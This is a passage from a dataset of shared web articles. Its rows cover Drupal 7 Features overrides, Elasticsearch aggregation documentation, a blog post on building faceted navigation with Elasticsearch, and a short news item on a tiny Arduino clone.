""overridden"". However, the ""drush fd featurename"" command shows the actual code difference regardless of if it's marked as ""overridden"". This behavior means that ""drush fd"" might output code differences that actually don't cause the feature to be overridden. For example, if you change the order of dependencies in your module.info file and then run ""drush fd"" on the feature, you'll see it display those changes, even though a ""drush fl"" won't show the feature as overridden. This makes it difficult sometimes to debug why a feature is overridden, since not all of the output of ""drush fd"" is relevant. You need to look for actual value changes, rather than just re-ordering changes. Adding a new module Sometimes, just enabling a new contrib module will cause your Features (especially field features) to be ""overridden"". If the new module adds some new settings, formatters, widgets, etc then these settings will be active in the DB but not reflected in the code. So the Feature will be shown overridden. Reverting the feature won't have any affect because there is no way to remove the new settings from the DB without uninstalling the new module. These kinds of overrides are annoying, but not actually that important. They don't prevent the feature from being reverted when a new version of the base module is released. They are not caused by any site-specific change that would be lost by a revert. Typically it's best to just document these cases and leave them as overridden. Just be careful to not become complacent and make a site customization in the future to the same feature and then ignore that it's overridden and lose your changes when you revert. You should periodically do a ""drush fd"" on overridden features just to be sure what is shown is still just from the new module you installed. A disabled module Similar to the above, but the opposite case. If you have disabled a module that was used when the original Feature was exported, then the code might have settings for that module that are no longer in your database. Once again you won't be able to remove this by reverting. Again, you can just document these cases. But make sure you really need to have the module disabled. Having a module enabled that you are not using is not a big performance impact. The time saved in long-term maintenance of the site it typically more important than worrying about an extra module. A bad override If you have used some of the not-recommended approaches for overriding a base Feature, such as writing directly to the DB, then you will end up with an overridden feature that cannot be reverted. Or if the Feature is reverted, you might lose the change that was written to the DB and need to reapply it. Even if the Feature is locked to prevent reverting, it will still be listed as overridden. Another type of ""bad override"" is using the wrong kind of alter-hook to try to modify configuration. If the alter hook is called in a way that makes it look like a DB change to Features, then Features is going to see a difference between the DB and code and mark it as overridden. Overridden Views and Panels Some modules, such as Views and Panels have their own ""override"" functionality. These ""pure"" Features can exist purely in code with nothing in the DB. When you make a UI change to a View, it gets copied from the code into the DB and your change is made to the DB. The View is then marked as ""overrides code"" in the Views listing. A View that came from code can be ""reverted"" within the Views UI. This essentially just deletes the version of the view in the DB so that the code takes affect again. Sometimes you can get a View stored in the DB that still matches the code. For example, you change a View in the UI (causing it to be copied to the DB), then you edit the View and undo the change. Now it matches the code again, but the view is still in the DB. In this case, the View Feature will not be shown as ""overridden"", but in the Views listing it will still say ""overrides code"". When changing a pure Feature like a View via code (like in an alter hook), your changes will take affect immediately, or possible after a cache clear. No revert will be necessary because there is nothing in the DB to update. However, in the above case where you have changed a view and then changed it back so it's stored in the DB, changing the code will not affect the View until you revert the Feature to remove the DB copy of the old view. In general, if you are having issues with Views, Panels, or other ctools-like pure Features, make sure they are not overridden in their respective UIs. For example, click the Revert option for the View within the Views listing to ensure it's actually using the View stored in code. Wrong version of Features If the code in the Feature was exported using a different version of Features than what is on your site, there might be changes that cause overrides. Ensure your version of Features matches the version used to generate the export. This usually only applies to major version numbers and is not normally a problem. Normally updates to the Features module are made in backwards-compatible ways to prevent this. But certainly be sure your version of Features on your site is not older than the version that generated the base code. Always try the latest version of Features to see if it helps. Nobody should be using the 1.x branch of Features anymore. There is no reason for this. All Drupal 7 sites should be on the 2.x branch. Unsupported Component As mentioned, not all configuration components support Features Override, or only support it partially. For example, Panelizer works with Features, but doesn't work well with Features Override because it still depends on the specific order of items in it's config array and when the alter-hook generated by Features Override tries to change something, that array order might not be preserved. Sometimes in this case you can create your own alter-hook implementation that overrides the code properly. This might also be an opportunity to help improve Features Override or suggest patches to the module in charge of the configuration to better support Features Override. Living with Overrides What if you have tried all of this advice and your Feature is still marked as overridden? And what if this override represents a specific site change that you need to maintain and ensure never gets reverted? The solution to this is to ""lock"" your feature component. Go to the Structure/Features page and select the Feature that is marked as overridden. Click the small ""lock"" icon next to the overridden component in the right column. The component will still be listed as ""overridden"" but when you revert your Features the locked component will be skipped, ensuring that your customization remains in place. When locking your Features, try to only lock the specific component rather than locking the entire Feature. The downside to locking a component is that any changes to that component from a new version of your distribution won't take affect. This is similar to the consequences of the ""Update the Database directly"" option listed above. However, sometimes this is the only alternative. Conclusion Just keep in mind that both Features and Features Override are just implementing hooks (normal hooks for Features, alter-hooks for Features Override) that are exposed by Drupal or contrib module. If those hooks don't exist or don't work properly there isn't much Features or Features Override can do about it. Drupal 7 doesn't have any sort of configuration management in core, so every contrib module does it differently. ctools-based modules have more of a standard framework, as does entity API. Features itself tries to add code to handle core components such as Fields, Content Types, etc that don't have the needed hooks. But there is often a limit to how much Features can do and just patching stuff into the DB is not usually a good solution. Don't ""hate"" Features or Features Override. Life was much worse without them. They are the best solution to solving configuration management problems in Drupal 7. They have been developed over years of experience. Try to help improve them before trying to implement your own configuration or override architecture. Drupal 8 Don't count on Drupal 8 magically solving all of these issues. The Configuration Management Initiative (CMI) within Drupal 8 was focused on handling site configuration, but not on ""bundling functionality"". It provides an API, storage mechanism, and framework for deploying configuration. CMI helps a lot, but there are still issues around around component granularity and overriding configuration. In Drupal 8, configuration is owned by the site rather than owned by a module. This will make bundling functionality (ala Features original intent) more difficult. We will be working on Features for D8 soon, but this is still mostly unknown territory. For now, take a look at some existing modules such as config_packager and config_devel. I've submitted a session to DrupalCon Los Angeles on Features in Drupal 8. Add a comment and support! Sign up for the Phase2 newsletter for exclusive content and news.",en
1461186845,CONTENT SHARED,65053321054180411,-9009798162809551896,-8337733829223422440,,,,HTML,https://www.elastic.co/guide/en/elasticsearch/reference/1.4/search-aggregations.html,Aggregations,"Aggregations grew out of the facets module and the long experience of how users use it (and would like to use it) for real-time data analytics purposes. As such, it serves as the next generation replacement for the functionality we currently refer to as ""faceting"". Facets provide a great way to aggregate data within a document set context. This context is defined by the executed query in combination with the different levels of filters that can be defined (filtered queries, top-level filters, and facet level filters). While powerful, their implementation is not designed from the ground up to support complex aggregations and is thus limited. The aggregations module breaks the barriers the current facet implementation put in place. The new name (""Aggregations"") also indicates the intention here - a generic yet extremely powerful framework for building aggregations - any types of aggregations. An aggregation can be seen as a unit-of-work that builds analytic information over a set of documents. The context of the execution defines what this document set is (e.g. a top-level aggregation executes within the context of the executed query/filters of the search request). There are many different types of aggregations, each with its own purpose and output. To better understand these types, it is often easier to break them into two main families: A family of aggregations that build buckets, where each bucket is associated with a and a document criterion. When the aggregation is executed, all the buckets criteria are evaluated on every document in the context and when a criterion matches, the document is considered to ""fall in"" the relevant bucket. By the end of the aggregation process, we'll end up with a list of buckets - each one with a set of documents that ""belong"" to it. Aggregations that keep track and compute metrics over a set of documents. The interesting part comes next. Since each bucket effectively defines a document set (all documents belonging to the bucket), one can potentially associate aggregations on the bucket level, and those will execute within the context of that bucket. This is where the real power of aggregations kicks in: aggregations can be nested! Structuring Aggregations edit The following snippet captures the basic structure of aggregations: ""aggregations"" : { ""<aggregation_name>"" : { ""<aggregation_type>"" : { <aggregation_body> } [,""aggregations"" : { [<sub_aggregation>]+ } ]? } [,""<aggregation_name_2>"" : { ... } ]* } The aggregations object (the key aggs can also be used) in the JSON holds the aggregations to be computed. Each aggregation is associated with a logical name that the user defines (e.g. if the aggregation computes the average price, then it would make sense to name it avg_price ). These logical names will also be used to uniquely identify the aggregations in the response. Each aggregation has a specific type ( <aggregation_type> in the above snippet) and is typically the first key within the named aggregation body. Each type of aggregation defines its own body, depending on the nature of the aggregation (e.g. an avg aggregation on a specific field will define the field on which the average will be calculated). At the same level of the aggregation type definition, one can optionally define a set of additional aggregations, though this only makes sense if the aggregation you defined is of a bucketing nature. In this scenario, the sub-aggregations you define on the bucketing aggregation level will be computed for all the buckets built by the bucketing aggregation. For example, if you define a set of aggregations under the range aggregation, the sub-aggregations will be computed for the range buckets that are defined. Values Source edit Some aggregations work on values extracted from the aggregated documents. Typically, the values will be extracted from a specific document field which is set using the field key for the aggregations. It is also possible to define a which will generate the values (per document). When both field and script settings are configured for the aggregation, the script will be treated as a value script . While normal scripts are evaluated on a document level (i.e. the script has access to all the data associated with the document), value scripts are evaluated on the value level. In this mode, the values are extracted from the configured field and the script is used to apply a ""transformation"" over these value/s. Scripts can generate a single value or multiple values per document. When generating multiple values, one can use the script_values_sorted settings to indicate whether these values are sorted or not. Internally, Elasticsearch can perform optimizations when dealing with sorted values (for example, with the min aggregations, knowing the values are sorted, Elasticsearch will skip the iterations over all the values and rely on the first value in the list to be the minimum value among all other values associated with the same document). Metrics Aggregations edit The aggregations in this family compute metrics based on values extracted in one way or another from the documents that are being aggregated. The values are typically extracted from the fields of the document (using the field data), but can also be generated using scripts. Numeric metrics aggregations are a special type of metrics aggregation which output numeric values. Some aggregations output a single numeric metric (e.g. avg ) and are called single-value numeric metrics aggregation , others generate multiple metrics (e.g. stats ) and are called multi-value numeric metrics aggregation . The distinction between single-value and multi-value numeric metrics aggregations plays a role when these aggregations serve as direct sub-aggregations of some bucket aggregations (some bucket aggregations enable you to sort the returned buckets based on the numeric metrics in each bucket). Bucket Aggregations edit Bucket aggregations don't calculate metrics over fields like the metrics aggregations do, but instead, they create buckets of documents. Each bucket is associated with a criterion (depending on the aggregation type) which determines whether or not a document in the current context ""falls"" into it. In other words, the buckets effectively define document sets. In addition to the buckets themselves, the bucket aggregations also compute and return the number of documents that ""fell in"" to each bucket. Bucket aggregations, as opposed to metrics aggregations, can hold sub-aggregations. These sub-aggregations will be aggregated for the buckets created by their ""parent"" bucket aggregation. There are different bucket aggregators, each with a different ""bucketing"" strategy. Some define a single bucket, some define fixed number of multiple buckets, and others dynamically create the buckets during the aggregation process. Caching heavy aggregations edit Frequently used aggregations (e.g. for display on the home page of a website) can be cached for faster responses. These cached results are the same results that would be returned by an uncached aggregation - you will never get stale results. See Shard query cache for more details. Returning only aggregation results edit There are many occasions when aggregations are required but search hits are not. For these cases the hits can be ignored by adding search_type=count to the request URL parameters. For example: $ curl -XGET ' -d '{ ""aggregations"": { ""my_agg"": { ""terms"": { ""field"": ""text"" } } } } ' Setting search_type to count avoids executing the fetch phase of the search making the request more efficient. See Search Type for more information on the search_type parameter.",en
1461190402,CONTENT SHARED,-4600611344822394376,-3596626804281480007,4908436141998344365,,,,HTML,http://distinctplace.com/2014/07/29/build-zappos-like-products-facets-with-elasticsearch/,Build Zappos like faceted navigation with ElasticSearch,"I've been looking at different facets implementations while working on REST Search API for my ecommerce store. Some of the solutions I saw were simple to achieve (like plain faceting by terms with single selection), while others required some thinking and some extra work. Today we will talk about Zappos facets, since in my mind they do interesting things with products grouping (seems like they refer to it as sidebar). One of the key things about Zappos facets implementation is multi select within active bracket , which significantly improves and simplifies navigation experience for end customers. Lets look at some examples to illustrate what I'm talking about: Starting point : Imagine we have 3 simple documents in our ElasticSearch (will refer to it as ES in the future) index: curl -XPUT ' -d '{ ""user"": ""gansbrest"", ""tag"": ""red"" }' curl -XPUT ' -d '{ ""user"": ""greenbean"", ""tag"": ""green"" }' curl -XPUT ' -d '{ ""user"": ""max"", ""tag"": ""brown"" }' At this point we should have 3 docs in our index ( confirm by doing simple search curl -XGET ) Ok, so let say we want to facet on user and tag fields and display those on the sidebar for our users amusement! Here is how: curl -XGET ' -d '{ ""aggs"": { ""user"": { ""terms"": { ""field"": ""user"" } }, ""tag"": { ""terms"": { ""field"": ""tag"" } } } } ' Note: If we don't provide query field for our search body, it's assumed we are operating on the whole dataset match_all: {} . Visually in UI (once you create it) it will look like this: Simple ElasticSearch facets filters ( I recommend to switch to aggregations in more recent versions of ES, since facets are deprecated. ) Let say user clicks on ""gansbrest"" facet value. Now we have two options of how to represent ES request: As regular AND filter ( AND because we want to combine facets to narrow user selection instead of expanding those with OR ) curl -XGET ' -d '{ ""filter"": { ""and"": [ { ""terms"": { ""user"" : [""gansbrest""] } } ] }, ""aggs"": { ""user"": { ""terms"": { ""field"": ""user"" } }, ""tag"": { ""terms"": { ""field"": ""tag"" } } } } ' Lets look at the UI: The problem is pretty obvious - facets were calculated before filter was applied. Not what we need, right? As filtered query . The idea here is to reduce dataset first and then apply query (if any) and calculate facets. Let's see what happens now: curl -XGET ' -d '{ ""query"": { ""filtered"": { ""filter"": { ""and"": [ { ""terms"": { ""user"" : [""gansbrest""] } } ] } } }, ""aggs"": { ""user"": { ""terms"": { ""field"": ""user"" } }, ""tag"": { ""terms"": { ""field"": ""tag"" } } } }' And ofcourse the UI: As you can see filtered query did a better job. In fact lots of sites are using this sort of faceting. Still this is not exactly what we want.. Why? Because the whole point of multi selection is kind of lost - we have checkboxes, but all other similar ( and potentially interesting for our customer ) options are hidden. Not good. We can do better, right? Smart ElasticSearch aggregations - is that what Zappos does? What if we want to show our potential customer more similar options within the same facet bracket, even if one of the values is already checked. Plus we also need to recalculate all other facets to show only facet values that intersect with other selected items (narrow down docs set). Well, I spent quite a bit of time on that one.. Initially I defined a concept of ""target facet"" and thought of it as the facet I would keep expanded ( show all options regardless of selected values ) but only until other facet brackets didn't have selected values. That took me one step closer to what I wanted, but added additional ES query and only ""worked"" for one facet bracket. No good. More time was spent experimenting with extra queries until I discovered filter aggregation . Then it hit me - in order to do what I wanted I needed to provide filter for each aggregation. That filter would exclude own bracket filters from it and only keep filters from other brackets if defined. Let's go back to our tweets example to see what I'm talking about: curl -XGET ' -d ' { ""filter"": { ""and"": [ { ""terms"": { ""user"": [ ""gansbrest"", ""max"" ] } } ] }, ""aggs"": { ""user"": { ""filter"": { ""match_all"": {} }, ""aggs"": { ""user"": { ""terms"": { ""field"": ""user"" } } } }, ""tag"": { ""filter"": { ""and"": [ { ""terms"": { ""user"": [ ""gansbrest"", ""max"" ] } } ] }, ""aggs"": { ""tag"": { ""terms"": { ""field"": ""tag"" } } } } } }' Note how we add filter field to the whole ES request to get proper docs back, plus each facet has it's own filter. Lets look at our UI as well: Now I'm happy. Our facets navigation is adaptive, allows multiple selection and it's all one query. I can imagine this approach to introduce more load on our ES cluster, but at the moment all ES requests are executing within 15ms which is pretty good. I didn't do query support yet, but I imagine we may need to convert to filtered query in that case, to narrow down dataset before further operations. Aggregations facets idea should stay in place. Not sure if Zappos is using ElasticSearch or Solr or any other fulltext engine ( curious to know what it is ), but our latest implementation behaves pretty similarly. Share your thoughts or improvement ideas in the comments section below! Follow @gansbrest Great book for operations people. Helped me to design and build solid deployment pipelines. Awesome advices on automated testing as well. The author advocates against feature branches, every commit goes to master! Scary? I know, but it actually makes sense once you get the idea. Read the book to find out more. One of those rare books where every word counts!",en
1461190664,CONTENT SHARED,7498047411414226273,-3596626804281480007,4908436141998344365,,,,HTML,https://www.elastic.co/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html,Terms Aggregation in Elastic Search,"A multi-bucket value source based aggregation where buckets are dynamically built - one per unique value. Example: { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"" } } } } Response: { ... ""aggregations"" : { ""genders"" : { ""doc_count_error_upper_bound"": 0, ""sum_other_doc_count"": 0, ""buckets"" : [ { ""key"" : ""male"", ""doc_count"" : 10 }, { ""key"" : ""female"", ""doc_count"" : 10 }, ] } } } By default, the terms aggregation will return the buckets for the top ten terms ordered by the doc_count . One can change this default behaviour by setting the size parameter. The size parameter can be set to define how many term buckets should be returned out of the overall terms list. By default, the node coordinating the search process will request each shard to provide its own top size term buckets and once all shards respond, it will reduce the results to the final list that will then be returned to the client. This means that if the number of unique terms is greater than size , the returned list is slightly off and not accurate (it could be that the term counts are slightly off and it could even be that a term that should have been in the top size buckets was not returned). If set to 0 , the size will be set to Integer.MAX_VALUE . As described above, the document counts (and the results of any sub aggregations) in the terms aggregation are not always accurate. This is because each shard provides its own view of what the ordered list of terms should be and these are combined to give a final view. Consider the following scenario: A request is made to obtain the top 5 terms in the field product, ordered by descending document count from an index with 3 shards. In this case each shard is asked to give its top 5 terms. { ""aggs"" : { ""products"" : { ""terms"" : { ""field"" : ""product"", ""size"" : 5 } } } } The terms for each of the three shards are shown below with their respective document counts in brackets: The shards will return their top 5 terms so the results from the shards will be: Taking the top 5 results from each of the shards (as requested) and combining them to make a final top 5 list produces the following: 1 Product A (100) 2 Product Z (52) 3 Product C (50) 4 Product G (45) 5 Product B (43) Because Product A was returned from all shards we know that its document count value is accurate. Product C was only returned by shards A and C so its document count is shown as 50 but this is not an accurate count. Product C exists on shard B, but its count of 4 was not high enough to put Product C into the top 5 list for that shard. Product Z was also returned only by 2 shards but the third shard does not contain the term. There is no way of knowing, at the point of combining the results to produce the final list of terms, that there is an error in the document count for Product C and not for Product Z. Product H has a document count of 44 across all 3 shards but was not included in the final list of terms because it did not make it into the top five terms on any of the shards. The higher the requested size is, the more accurate the results will be, but also, the more expensive it will be to compute the final results (both due to bigger priority queues that are managed on a shard level and due to bigger data transfers between the nodes and the client). The shard_size parameter can be used to minimize the extra work that comes with bigger requested size . When defined, it will determine how many terms the coordinating node will request from each shard. Once all the shards responded, the coordinating node will then reduce them to a final result which will be based on the size parameter - this way, one can increase the accuracy of the returned terms and avoid the overhead of streaming a big list of buckets back to the client. If set to 0 , the shard_size will be set to Integer.MAX_VALUE . shard_size cannot be smaller than size (as it doesn't make much sense). When it is, elasticsearch will override it and reset it to be equal to size . It is possible to not limit the number of terms that are returned by setting size to 0 . Don't use this on high-cardinality fields as this will kill both your CPU since terms need to be return sorted, and your network. The default shard_size is a multiple of the size parameter which is dependant on the number of shards. There are two error values which can be shown on the terms aggregation. The first gives a value for the aggregation as a whole which represents the maximum potential document count for a term which did not make it into the final list of terms. This is calculated as the sum of the document count from the last term returned from each shard .For the example given above the value would be 46 (2 + 15 + 29). This means that in the worst case scenario a term which was not returned could have the 4th highest document count. { ... ""aggregations"" : { ""products"" : { ""doc_count_error_upper_bound"" : 46, ""buckets"" : [ { ""key"" : ""Product A"", ""doc_count"" : 100 }, { ""key"" : ""Product Z"", ""doc_count"" : 52 }, ... ] } } } This functionality is experimental and may be changed or removed completely in a future release. The second error value can be enabled by setting the show_term_doc_count_error parameter to true. This shows an error value for each term returned by the aggregation which represents the worst case error in the document count and can be useful when deciding on a value for the shard_size parameter. This is calculated by summing the document counts for the last term returned by all shards which did not return the term. In the example above the error in the document count for Product C would be 15 as Shard B was the only shard not to return the term and the document count of the last term it did return was 15. The actual document count of Product C was 54 so the document count was only actually off by 4 even though the worst case was that it would be off by 15. Product A, however has an error of 0 for its document count, since every shard returned it we can be confident that the count returned is accurate. { ... ""aggregations"" : { ""products"" : { ""doc_count_error_upper_bound"" : 46, ""buckets"" : [ { ""key"" : ""Product A"", ""doc_count"" : 100, ""doc_count_error_upper_bound"" : 0 }, { ""key"" : ""Product Z"", ""doc_count"" : 52, ""doc_count_error_upper_bound"" : 2 }, ... ] } } } These errors can only be calculated in this way when the terms are ordered by descending document count. When the aggregation is ordered by the terms values themselves (either ascending or descending) there is no error in the document count since if a shard does not return a particular term which appears in the results from another shard, it must not have that term in its index. When the aggregation is either sorted by a sub aggregation or in order of ascending document count, the error in the document counts cannot be determined and is given a value of -1 to indicate this. The order of the buckets can be customized by setting the order parameter. By default, the buckets are ordered by their doc_count descending. It is also possible to change this behaviour as follows: Ordering the buckets by their doc_count in an ascending manner: { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"", ""order"" : { ""_count"" : ""asc"" } } } } } Ordering the buckets alphabetically by their terms in an ascending manner: { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"", ""order"" : { ""_term"" : ""asc"" } } } } } Ordering the buckets by single value metrics sub-aggregation (identified by the aggregation name): { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"", ""order"" : { ""avg_height"" : ""desc"" } }, ""aggs"" : { ""avg_height"" : { ""avg"" : { ""field"" : ""height"" } } } } } } Ordering the buckets by multi value metrics sub-aggregation (identified by the aggregation name): { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"", ""order"" : { ""height_stats.avg"" : ""desc"" } }, ""aggs"" : { ""height_stats"" : { ""stats"" : { ""field"" : ""height"" } } } } } } Sorting by ascending _count or by sub aggregation is discouraged as it increases the error on document counts. It is fine when a single shard is queried, or when the field that is being aggregated was used as a routing key at index time: in these cases results will be accurate since shards have disjoint values. However otherwise, errors are unbounded. One particular case that could still be useful is sorting by min or max aggregation: counts will not be accurate but at least the top buckets will be correctly picked. It is also possible to order the buckets based on a ""deeper"" aggregation in the hierarchy. This is supported as long as the aggregations path are of a single-bucket type, where the last aggregation in the path may either be a single-bucket one or a metrics one. If it's a single-bucket type, the order will be defined by the number of docs in the bucket (i.e. doc_count ), in case it's a metrics one, the same rules as above apply (where the path must indicate the metric name to sort by in case of a multi-value metrics aggregation, and in case of a single-value metrics aggregation the sort will be applied on that value). The path must be defined in the following form: AGG_SEPARATOR := '>' METRIC_SEPARATOR := '.' AGG_NAME := <the name of the aggregation> METRIC := <the name of the metric (in case of multi-value metrics aggregation)> PATH := <AGG_NAME>[<AGG_SEPARATOR><AGG_NAME>]*[<METRIC_SEPARATOR><METRIC>] { ""aggs"" : { ""countries"" : { ""terms"" : { ""field"" : ""address.country"", ""order"" : { ""females>height_stats.avg"" : ""desc"" } }, ""aggs"" : { ""females"" : { ""filter"" : { ""term"" : { ""gender"" : ""female"" }}, ""aggs"" : { ""height_stats"" : { ""stats"" : { ""field"" : ""height"" }} } } } } } } The above will sort the countries buckets based on the average height among the female population. Multiple criteria can be used to order the buckets by providing an array of order criteria such as the following: { ""aggs"" : { ""countries"" : { ""terms"" : { ""field"" : ""address.country"", ""order"" : [ { ""females>height_stats.avg"" : ""desc"" }, { ""_count"" : ""desc"" } ] }, ""aggs"" : { ""females"" : { ""filter"" : { ""term"" : { ""gender"" : { ""female"" }}}, ""aggs"" : { ""height_stats"" : { ""stats"" : { ""field"" : ""height"" }} } } } } } } The above will sort the countries buckets based on the average height among the female population and then by their doc_count in descending order. In the event that two buckets share the same values for all order criteria the bucket's term value is used as a tie-breaker in ascending alphabetical order to prevent non-deterministic ordering of buckets. It is possible to only return terms that match more than a configured number of hits using the min_doc_count option: { ""aggs"" : { ""tags"" : { ""terms"" : { ""field"" : ""tags"", ""min_doc_count"": 10 } } } } The above aggregation would only return tags which have been found in 10 hits or more. Default value is 1 . Terms are collected and ordered on a shard level and merged with the terms collected from other shards in a second step. However, the shard does not have the information about the global document count available. The decision if a term is added to a candidate list depends only on the order computed on the shard using local shard frequencies. The min_doc_count criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the term as a candidate is made without being very certain about if the term will actually reach the required min_doc_count . This might cause many (globally) high frequent terms to be missing in the final result if low frequent terms populated the candidate lists. To avoid this, the shard_size parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic. shard_min_doc_count parameter The parameter shard_min_doc_count regulates the certainty a shard has if the term should actually be added to the candidate list or not with respect to the min_doc_count . Terms will only be considered if their local shard frequency within the set is higher than the shard_min_doc_count . If your dictionary contains many low frequent terms and you are not interested in those (for example misspellings), then you can set the shard_min_doc_count parameter to filter out candidate terms on a shard level that will with a reasonable certainty not reach the required min_doc_count even after merging the local counts. shard_min_doc_count is set to 0 per default and has no effect unless you explicitly set it. Setting min_doc_count = 0 will also return buckets for terms that didn't match any hit. However, some of the returned terms which have a document count of zero might only belong to deleted documents or documents from other types, so there is no warranty that a match_all query would find a positive document count for those terms. When NOT sorting on doc_count descending, high values of min_doc_count may return a number of buckets which is less than size because not enough data was gathered from the shards. Missing buckets can be back by increasing shard_size . Setting shard_min_doc_count too high will cause terms to be filtered out on a shard level. This value should be set much lower than min_doc_count/#shards . Generating the terms using a script: { ""aggs"" : { ""genders"" : { ""terms"" : { ""script"" : ""doc['gender'].value"" } } } } This will interpret the script parameter as an inline script with the default script language and no script parameters. To use a file script use the following syntax: { ""aggs"" : { ""genders"" : { ""terms"" : { ""script"" : { ""file"": ""my_script"", ""params"": { ""field"": ""gender"" } } } } } } for indexed scripts replace the file parameter with an id parameter. { ""aggs"" : { ""genders"" : { ""terms"" : { ""field"" : ""gender"", ""script"" : ""'Gender: ' +_value"" } } } } It is possible to filter the values for which buckets will be created. This can be done using the include and exclude parameters which are based on regular expression strings or arrays of exact values. { ""aggs"" : { ""tags"" : { ""terms"" : { ""field"" : ""tags"", ""include"" : "".*sport.*"", ""exclude"" : ""water_.*"" } } } } In the above example, buckets will be created for all the tags that has the word sport in them, except those starting with water_ (so the tag water_sports will no be aggregated). The include regular expression will determine what values are ""allowed"" to be aggregated, while the exclude determines the values that should not be aggregated. When both are defined, the exclude has precedence, meaning, the include is evaluated first and only then the exclude . The syntax is the same as regexp queries . For matching based on exact values the include and exclude parameters can simply take an array of strings that represent the terms as they are found in the index: { ""aggs"" : { ""JapaneseCars"" : { ""terms"" : { ""field"" : ""make"", ""include"" : [""mazda"", ""honda""] } }, ""ActiveCarManufacturers"" : { ""terms"" : { ""field"" : ""make"", ""exclude"" : [""rover"", ""jensen""] } } } } The terms aggregation does not support collecting terms from multiple fields in the same document. The reason is that the terms agg doesn't collect the string term values themselves, but rather uses global ordinals to produce a list of all of the unique values in the field. Global ordinals results in an important performance boost which would not be possible across multiple fields. There are two approaches that you can use to perform a terms agg across multiple fields: Script Use a script to retrieve terms from multiple fields. This disables the global ordinals optimization and will be slower than collecting terms from a single field, but it gives you the flexibility to implement this option at search time. copy_to field If you know ahead of time that you want to collect the terms from two or more fields, then use copy_to in your mapping to create a new dedicated field at index time which contains the values from both fields. You can aggregate on this single field, which will benefit from the global ordinals optimization. Deferring calculation of child aggregations For fields with many unique terms and a small number of required results it can be more efficient to delay the calculation of child aggregations until the top parent-level aggs have been pruned. Ordinarily, all branches of the aggregation tree are expanded in one depth-first pass and only then any pruning occurs. In some rare scenarios this can be very wasteful and can hit memory constraints. An example problem scenario is querying a movie database for the 10 most popular actors and their 5 most common co-stars: { ""aggs"" : { ""actors"" : { ""terms"" : { ""field"" : ""actors"", ""size"" : 10 }, ""aggs"" : { ""costars"" : { ""terms"" : { ""field"" : ""actors"", ""size"" : 5 } } } } } } Even though the number of movies may be comparatively small and we want only 50 result buckets there is a combinatorial explosion of buckets during calculation - a single movie will produce n² buckets where n is the number of actors. The sane option would be to first determine the 10 most popular actors and only then examine the top co-stars for these 10 actors. This alternative strategy is what we call the breadth_first collection mode as opposed to the default depth_first mode: { ""aggs"" : { ""actors"" : { ""terms"" : { ""field"" : ""actors"", ""size"" : 10, ""collect_mode"" : ""breadth_first"" }, ""aggs"" : { ""costars"" : { ""terms"" : { ""field"" : ""actors"", ""size"" : 5 } } } } } } When using breadth_first mode the set of documents that fall into the uppermost buckets are cached for subsequent replay so there is a memory overhead in doing this which is linear with the number of matching documents. In most requests the volume of buckets generated is smaller than the number of documents that fall into them so the default depth_first collection mode is normally the best bet but occasionally the breadth_first strategy can be significantly more efficient. Currently elasticsearch will always use the depth_first collect_mode unless explicitly instructed to use breadth_first as in the above example. Note that the order parameter can still be used to refer to data from a child aggregation when using the breadth_first setting - the parent aggregation understands that this child aggregation will need to be called first before any of the other child aggregations. It is not possible to nest aggregations such as top_hits which require access to match score information under an aggregation that uses the breadth_first collection mode. This is because this would require a RAM buffer to hold the float score value for every document and this would typically be too costly in terms of RAM. The automated execution optimization is experimental, so this parameter is provided temporarily as a way to override the default behaviour. There are different mechanisms by which terms aggregations can be executed: by using field values directly in order to aggregate data per-bucket ( map ) by using ordinals of the field and preemptively allocating one bucket per ordinal value ( global_ordinals ) by using ordinals of the field and dynamically allocating one bucket per ordinal value ( global_ordinals_hash ) by using per-segment ordinals to compute counts and remap these counts to global counts using global ordinals ( global_ordinals_low_cardinality ) Elasticsearch tries to have sensible defaults so this is something that generally doesn't need to be configured. map should only be considered when very few documents match a query. Otherwise the ordinals-based execution modes are significantly faster. By default, map is only used when running an aggregation on scripts, since they don't have ordinals. global_ordinals_low_cardinality only works for leaf terms aggregations but is usually the fastest execution mode. Memory usage is linear with the number of unique values in the field, so it is only enabled by default on low-cardinality fields. global_ordinals is the second fastest option, but the fact that it preemptively allocates buckets can be memory-intensive, especially if you have one or more sub aggregations. It is used by default on top-level terms aggregations. global_ordinals_hash on the contrary to global_ordinals and global_ordinals_low_cardinality allocates buckets dynamically so memory usage is linear to the number of values of the documents that are part of the aggregation scope. It is used by default in inner aggregations. { ""aggs"" : { ""tags"" : { ""terms"" : { ""field"" : ""tags"", ""execution_hint"": ""map"" } } } } Please note that Elasticsearch will ignore this execution hint if it is not applicable and that there is no backward compatibility guarantee on these hints. The missing parameter defines how documents that are missing a value should be treated. By default they will be ignored but it is also possible to treat them as if they had a value. { ""aggs"" : { ""tags"" : { ""terms"" : { ""field"" : ""tags"", ""missing"": ""N/A"" } } } } Subscribe to our newsletter",en
1461211806,CONTENT SHARED,-6511498353814468913,-1032019229384696495,-6158072573466935774,,,,HTML,http://www.engadget.com/2016/04/20/battery-sized-arduino-clone/,Arduino clone is as small as an AA battery,"You aren't about to buy a ready-made AAduino, but you don't have to. Kanflo has posted instructions and schematics both on his own site and on GitHub , so you can replicate his invention yourself. This is mainly useful if you're building an extra-compact gadget (Kanflo needed this for a radio node, for instance), but it shows that even daunting size requirements can be solved with a little ingenuity.",en
